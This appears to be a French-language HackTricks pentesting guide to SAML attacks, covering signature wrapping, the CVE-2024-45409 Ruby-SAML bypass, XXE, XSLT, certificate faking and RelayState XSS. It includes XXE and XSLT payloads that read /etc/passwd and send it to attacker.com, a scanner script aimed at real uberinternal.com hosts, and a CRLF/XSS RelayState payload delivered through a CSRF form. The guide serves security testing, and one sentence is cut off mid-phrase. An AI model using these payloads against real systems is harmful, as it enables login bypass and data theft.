SAML Attacks

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Basic Information

SAML Basics

Outil

SAMLExtractor: Un outil capable de prendre une URL ou une liste d’URL et d’afficher l’URL de consommation SAML.

Aller-retour XML

Dans XML la partie signée de l’XML est sauvegardée en mémoire, puis un encodage/décodage est effectué et la signature est vérifiée. Idéalement cet encodage/décodage ne devrait pas modifier les données mais dans ce scénario, les données vérifiées et les données originales pourraient ne pas être les mêmes.

Par exemple, regardez le code suivant:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

L’exécution du programme avec REXML 3.2.4 ou une version antérieure produirait plutôt la sortie suivante :

First child in original doc: Y
First child after round-trip: Z

Voici comment REXML voyait le document XML original produit par le programme ci‑dessus :

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Et voici comment il le voyait après un cycle d’analyse et de sérialisation :

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Pour plus d’informations sur la vulnérabilité et comment l’exploiter :

XML Signature Wrapping Attacks

Dans les XML Signature Wrapping attacks (XSW), les attaquants exploitent une vulnérabilité qui apparaît lorsque les documents XML sont traités en deux phases distinctes : la validation de la signature et l’exécution de la fonction. Ces attaques consistent à altérer la structure du document XML. Plus précisément, l’attaquant injecte des éléments falsifiés qui ne compromettent pas la validité de la XML Signature. Cette manipulation vise à créer une divergence entre les éléments analysés par la logique applicative et ceux vérifiés par le module de vérification de la signature. En conséquence, alors que la XML Signature reste techniquement valide et passe la vérification, la logique applicative traite les éléments frauduleux. L’attaquant contourne ainsi la protection d’intégrité et l’authentification d’origine fournies par la XML Signature, ce qui permet l’injection de contenu arbitraire sans détection.

Les attaques suivantes sont basées sur this blog post et this paper. Consultez-les pour plus de détails.

XSW #1

  • Strategy: A new root element containing the signature is added.
  • Implication: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: Utilizes a detached signature instead of an enveloping signature.
  • Implication: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: An evil Assertion is crafted at the same hierarchical level as the original assertion.
  • Implication: Intends to confuse the business logic into using the malicious data.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
  • Implication: Similar to XSW #3 but alters the XML structure more aggressively.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
  • Implication: The copied Assertion envelopes the Signature, modifying the expected document structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: Similar location insertion as XSW #4 and #5, but with a twist.
  • Implication: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: An Extensions element is inserted with the copied Assertion as a child.
  • Implication: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
  • Implication: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Vous pouvez utiliser l’extension Burp SAML Raider pour parser la requête, appliquer l’attaque XSW de votre choix et la lancer.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: Si le Service Provider utilise une version vulnérable de Ruby-SAML (ex. GitLab SAML SSO), un attaquant capable d’obtenir any IdP-signed SAMLResponse peut forge a new assertion et s’authentifier en tant qu’utilisateurs arbitraires.

High-level workflow (signature-wrapping style bypass):

  1. Capture a legitimate SAMLResponse in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
  2. Decode the transport encoding to raw XML (typical order): URL decode → Base64 decode → raw inflate.
  3. Use a PoC (for example, the Synacktiv script) to patch IDs/NameID/conditions and rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
  4. Re-encode the patched XML (raw deflate → Base64 → URL encode) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

Si vous ne savez pas quel type d’attaque correspond à XXE, veuillez lire la page suivante :

XXE - XEE - XML External Entity

SAML Responses are deflated and base64 encoded XML documents et peuvent être susceptibles aux attaques XML External Entity (XXE). En manipulant la structure XML de la SAML Response, les attaquants peuvent tenter d’exploiter des vulnérabilités XXE. Voici comment une telle attaque peut être visualisée :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Outils

Vous pouvez également utiliser l’extension Burp SAML Raider pour générer le POC à partir d’une requête SAML afin de tester d’éventuelles vulnérabilités XXE et SAML.

Consultez aussi cette présentation : https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Pour plus d’informations sur XSLT, consultez :

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) peut être utilisé pour transformer des documents XML en différents formats tels que HTML, JSON ou PDF. Il est crucial de noter que les transformations XSLT s’exécutent avant la vérification de la signature numérique. Cela signifie qu’une attaque peut réussir même sans une signature valide ; une signature auto-signée ou invalide suffit pour procéder.

Vous trouverez ici un POC pour vérifier ce type de vulnérabilités ; sur la page hacktricks mentionnée au début de cette section, vous trouverez des payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Outil

Vous pouvez aussi utiliser l’extension Burp SAML Raider pour générer le POC à partir d’une requête SAML afin de tester d’éventuelles vulnérabilités XSLT.

Consultez aussi cette conférence : https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusion de la signature XML

La XML Signature Exclusion étudie le comportement des implémentations SAML lorsque l’élément Signature n’est pas présent. Si cet élément est absent, la validation de la signature peut ne pas avoir lieu, ce qui rend le système vulnérable. Il est possible de tester cela en modifiant le contenu qui est normalement vérifié par la signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Outil

Vous pouvez aussi utiliser l’extension Burp SAML Raider. Interceptez la SAML Response et cliquez sur Remove Signatures. Ce faisant, tous les éléments Signature sont supprimés.

Une fois les signatures supprimées, laissez la requête poursuivre vers la cible. Si la Signature n’est pas requise par le Service

Certificate Faking

Certificate Faking

Certificate Faking est une technique pour vérifier si un Service Provider (SP) vérifie correctement qu’un SAML Message est signé par un Identity Provider (IdP) de confiance. Elle consiste à utiliser un *self-signed certificate pour signer la SAML Response ou l’Assertion, ce qui permet d’évaluer le processus de validation de confiance entre le SP et l’IdP.

Comment effectuer Certificate Faking

Les étapes suivantes décrivent le processus en utilisant l’extension Burp SAML Raider :

  1. Interceptez la SAML Response.
  2. Si la response contient une signature, envoyez le certificat vers SAML Raider Certs en utilisant le bouton Send Certificate to SAML Raider Certs.
  3. Dans l’onglet SAML Raider Certificates, sélectionnez le certificat importé et cliquez sur Save and Self-Sign pour créer un clone auto-signé du certificat original.
  4. Retournez à la requête interceptée dans le Proxy de Burp. Sélectionnez le nouveau certificat auto-signé dans le menu déroulant XML Signature.
  5. Supprimez toutes les signatures existantes avec le bouton Remove Signatures.
  6. Signez le message ou l’assertion avec le nouveau certificat en utilisant le bouton (Re-)Sign Message ou (Re-)Sign Assertion, selon le cas.
  7. Transmettez le message signé. Une authentification réussie indique que le SP accepte des messages signés par votre certificat auto-signé, révélant d’éventuelles vulnérabilités dans le processus de validation des messages SAML.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion et Service Provider Target Confusion consistent à vérifier si le Service Provider valide correctement le destinataire prévu d’une response. En substance, un Service Provider devrait rejeter une réponse d’authentification si elle était destinée à un autre fournisseur. L’élément critique ici est le champ Recipient, situé dans l’élément SubjectConfirmationData d’une SAML Response. Ce champ spécifie une URL indiquant où l’Assertion doit être envoyée. Si le destinataire réel ne correspond pas au Service Provider prévu, l’Assertion doit être considérée comme invalide.

Comment ça marche

Pour qu’une attaque de type SAML Token Recipient Confusion (SAML-TRC) soit réalisable, certaines conditions doivent être réunies. Premièrement, il doit y avoir un compte valide sur un Service Provider (appelé SP-Legit). Deuxièmement, le Service Provider ciblé (SP-Target) doit accepter des tokens émis par le même Identity Provider qui sert SP-Legit.

Le processus d’attaque est simple dans ces conditions. Une session authentique est initiée avec SP-Legit via l’Identity Provider partagé. La SAML Response de l’Identity Provider destinée à SP-Legit est interceptée. Cette SAML Response interceptée, initialement prévue pour SP-Legit, est ensuite redirigée vers SP-Target. Le succès de l’attaque se mesure au fait que SP-Target accepte l’Assertion, accordant l’accès aux ressources sous le même nom de compte utilisé pour SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS dans la fonctionnalité de Logout

La recherche originale est accessible via this link.

Lors du processus de directory brute forcing, une page de logout a été découverte à :

https://carbon-prototype.uberinternal.com:443/oidauth/logout

En accédant à ce lien, une redirection s’est produite vers :

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Cela a révélé que le paramètre base accepte une URL. Compte tenu de cela, l’idée a émergé de remplacer l’URL par javascript:alert(123); dans une tentative d’initier une attaque XSS (Cross-Site Scripting).

Exploitation de masse

From this research:

Le SAMLExtractor outil a été utilisé pour analyser les sous-domaines de uberinternal.com afin d’identifier les domaines utilisant la même bibliothèque. Un script a ensuite été développé pour cibler la page oidauth/prompt. Ce script teste la présence de XSS (Cross-Site Scripting) en injectant des données et en vérifiant si elles sont reflétées dans la sortie. Lorsque les données sont effectivement reflétées, le script marque la page comme vulnérable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Certain SAML SSO endpoints décodent RelayState puis le reflètent dans la réponse sans sanitization. Si vous pouvez injecter des newlines et écraser le Content-Type de la réponse, vous pouvez forcer le navigateur à rendre du HTML contrôlé par l’attaquant, obtenant ainsi reflected XSS.

  • Idea : abuser de response-splitting via newline injection dans le RelayState reflété. Voir aussi les notes génériques dans CRLF injection.
  • Works even when RelayState is base64-decoded server-side : fournissez une base64 qui se décode en header/body injection.

Generalized steps:

  1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode the sequence (example):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-encode that URL-encoded string and place it in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Send a POST with a syntactically valid SAMLResponse and the crafted RelayState to the SSO endpoint (e.g., /cgi/logout).
  2. Deliver via CSRF : hébergez une page qui auto-submet un POST cross-origin vers l’origine cible incluant les deux champs.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Modèle de livraison CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Pourquoi cela fonctionne : le serveur décode RelayState et l’incorpore dans la réponse d’une manière qui permet une injection de saut de ligne, permettant à l’attaquant d’influencer les en-têtes et le corps. Forcer Content-Type: text/html entraîne l’affichage par le navigateur du HTML contrôlé par l’attaquant présent dans le corps de la réponse.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks